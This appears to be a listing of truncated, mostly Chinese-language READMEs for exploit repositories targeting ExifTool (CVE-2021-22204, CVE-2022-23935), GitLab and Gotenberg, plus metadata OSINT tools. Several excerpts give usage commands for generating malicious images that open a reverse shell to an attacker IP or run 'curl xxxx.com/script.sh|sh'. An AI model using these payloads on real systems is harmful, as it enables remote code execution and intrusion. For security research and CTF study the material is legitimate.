CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool 漏洞利用 - 任意代码执行 漏洞利用说明 使用此漏洞利用工具可生成一个JPEG图片载荷，该载荷可用于存在漏洞的ExifTool版本，实现代码执行。可提供自定义命令，或生成一个反弹shell。工具会自动生成一个JPEG图片，也可以选择提供自定义的JPEG图片，将载荷插入其中。...

CVE-2021-22204

CVE-2021-22204 描述 在 ExifTool 7.44 及以上版本中，DjVu 文件格式对用户数据的中和不当，使得解析恶意图片时可执行任意代码。 脚本 脚本链接 脚本用法： 系统命令： bash CVE-2021-2204.sh "system'id'" happy.jpg 反弹 shell bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg 你的 IP 和端口 手动利用 $ sudo apt install djvulibre-bin 安装所需工具 $ bzz payload payload.bzz...

CVE-2021-22204

CVE-2021-22204 - Exiftool 远程代码执行 描述 最近，研究人员 wcbowling 发现 Exiftool 工具中存在一个漏洞，使得恶意攻击者能够执行远程代码执行攻击。该漏洞是在 Gitlab 漏洞赏金计划中发现的，他们在其产品中使用了该工具作为依赖项。 使用方法 在第 12 行（createFile.sh）中，输入你自己的攻击机 IP 地址。 然后直接执行： $ bash createFile.sh 这将创建恶意文件 shell.djvu。通过使用 exiftool，你可以获得远程代码执行： $ sudo /usr/local/bin/exiftool...

exploit-CVE-2021-22204

CVE-2021-22204 ExifTool 漏洞利用 - 任意代码执行 喜欢这个仓库？给我们点个 ⭐ 吧！ 仅用于教育和授权安全研究目的。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 创作 漏洞描述 ExifTool 7.44 及以上版本在解析恶意图像时，对 DjVu 文件格式中的用户数据中和不当，允许执行任意代码。 利用描述 使用此漏洞利用程序生成 JPEG 图像载荷，与存在漏洞的 ExifTool 版本配合即可执行代码。你可以提供自定义命令，也可以生成反向 Shell。工具会自动生成 JPEG 图像；也可选择提供自定义 JPEG...

pymeta

PyMeta PyMetaは、PowerShellでdafthackによって作成されたツールPowerMetaのPython3によるリライトです。特別に作成された検索クエリを使用して、GoogleとBingのスクレイピングにより、指定されたドメインから以下のファイルタイプ（pdf、xls、xlsx、csv、doc、docx、ppt、pptx ）を識別してダウンロードします。 ダウンロード後、Phil...

CVE-2022-23935

简介 CVE-2022-23935 漏洞利用 PoC exiftool 版本 12.37 安装 git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools 用法 ./CVE-2022-23935...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool 用于 Exiftool 中 CVE-2021-22204 漏洞的 Python 利用程序。 关于漏洞 CVE-2021-22204 由 William Bowling @wcbowling 发现并报告。 此利用程序通过研究 CVE 报告后的 exiftool 补丁制作而成。 前置条件 已安装 exiftool 和 djvulibre 工具。如果你使用 Debian 或 Ubuntu，可以通过以下命令安装： sudo apt install djvulibre-bin exiftool 如何运行： 修改 exploit.py 文件中的 IP...

PowerMeta

PowerMeta PowerMetaは、特別に作成されたGoogleおよびBing検索を使用して、特定のドメインに対してさまざまなウェブサイトで公開されているファイルを検索します。その後、ターゲットドメインからそれらのファイルをダウンロードできます。ファイルを取得した後、それらに関連するメタデータをPowerMetaで分析できます。メタデータによく見られる興味深い情報には、ユーザー名、ドメイン、ソフトウェアタイトル、コンピューター名などがあります。 公開ファイルの発見...

CVE-2022-23935

CVE-2022-23935 Exiftool 软件程序在 12.38 版本之前存在一个安全漏洞，可通过特制文件名加以利用。 该漏洞允许命令注入，攻击者通过在文件名末尾附加管道符 '|'，使文件被当作待执行的命令而非普通文件，从而在系统上执行任意命令。 因此，系统中任何采用此命名约定的文件都可能被用于执行恶意代码。...

CVE-2021-22204

受影响版本 7.44 12.23 复现步骤 $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg 截图 参考 NVD-CVE-2021-22204...

POC_CVE-2026-42589

POCCVE-2026-42589 针对影响 Gotenberg 的 CVE-2026-42589 的本地复现实验室及 nuclei 模板草稿。 摘要 CVE-2026-42589 是 Gotenberg 中一个未经认证的远程代码执行问题，由元数据键中的换行符注入引起，具体在： POST /forms/pdfengines/metadata/write 受影响的 Gotenberg 将用户控制的元数据键转发给 ExifTool，且未拒绝控制字符。一个包含 JSON 转义换行符的元数据键可能被拆分为额外的 ExifTool 参数。 本实验室用于验证：...

Metaforge

Metaforge "メタデータを分析し動的レポートを作成するOSINTツール" https://chriswmorris.github.io/Metaforge/ 2019年度 先端設計プロジェクト - Chris Morris と Collin Mockbee 著 Unixベースのオペレーティングシステム向けのPython3アプリケーション 注意: Metaforgeは動作にPythonバージョン3.5以上が必要です！ 対応ファイルタイプ dll | docx | doc | exe | gif | html | jpeg| mkv | mp3 | mp4 | odp | ods |...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-扫描器 使用说明 $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort 来源 https://hackerone.com/reports/1154542 从以下位置引用的代码片段：https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 免责声明： 本脚本仅供安全分析和研究使用，因此如果被用于非法活动，本人概不负责。...

Gotenberg <= 8.30.1 - Remote Code Execution

Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a n...

CVE-2021-22204

ExifTool 远程代码执行漏洞 这应该算是CVE-2021-22204的分析文章，但更多像是我的草稿本，写满了很多杂乱无章的东西，对于漏洞分析文章而言显得有些废话了，但却让我学到很多。 说实话，我从未使用过这款工具，也几乎没有接触过Perl这门语言，导致我在分析，乃至复现的过程中心中满是问号。在开始分析之前，先看看网上已公开的poc，以及我心中的疑问。 POC - convisolabs 看到的一篇文章是1，其对漏洞产生的原因进行了简短介绍，但是由于我看不懂Perl代码，很多地方不清楚。其复现过程如下： 下载12.23版本的exiftool wget...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 这只是我为了测试而写的一个便捷脚本。 输出 Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be proccessed by vulnerable...

CVE-2021-22204

CVE-2021-22204 CVE摘要 在ExifTool 7.44及以上版本中，对DjVu文件格式中用户数据的清理不当，允许在解析恶意图像时执行任意代码。 受影响版本 版本 7.44 - 12.23 依赖项 依赖：djvulibre-bin exiftool 调用以下三个命令：bzz, djvumake, exiftool 参考资料 GitHub POC - Gustavo Dutra，2021年5月11日 案例研究：CVE-2021-22204 Exiftool RCE - Gustavo Dutra，2021年5月19日 CVE详情 - CVSS评分6.8...

CVE-2021-22205

CVE-2021-22205 RCE preautenticado a través de exiftool en Gitlab CE/EE Resumen del CVE GitLab utiliza ExifTool para escanear cada archivo tiff/jpeg/jpg y eliminar cualquier etiqueta no autorizada en la lista blanca. Pero debido a que ExifTool no utiliza las extensiones de archivo para determinar ...

dejavu

DejaVu 该容器运行一个 Web 应用程序，使用 exiftool 分析图像并返回其元数据。用户向应用程序发送图像的 URL，应用程序将检索该图像、对其进行分析，并返回结果。该应用程序使用的 exiftool 版本存在 CVE-2021-22204 漏洞，因为 DjVu 文件模块具有不安全的 eval，可通过特制文件触发以执行任意命令。参赛者必须使用其机器人托管一个恶意"图像"（png/jpeg/tiff 格式），然后让应用程序请求该恶意图像并对其进行评估，从而使其有效载荷得以执行。 构建 docker build . -t dejavu 运行 docker run --cpus=1...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE 原始仓库：https://github.com/CsEnox/Gitlab-Exiftool-RCE 感谢 CsEnox。 适用于 Gitlab 13.10.3 的 RCE 漏洞利用 GitLab Workhorse 会将任何文件传递给 ExifTool。当前漏洞出在 ExifTool 的 DjVu 模块中。 任何能够上传经由 GitLab Workhorse 处理的图片的人，都可以通过特制文件实现 RCE。 用法 python3 exploit.py -c "command here" -t http://gitlab.example.com 环...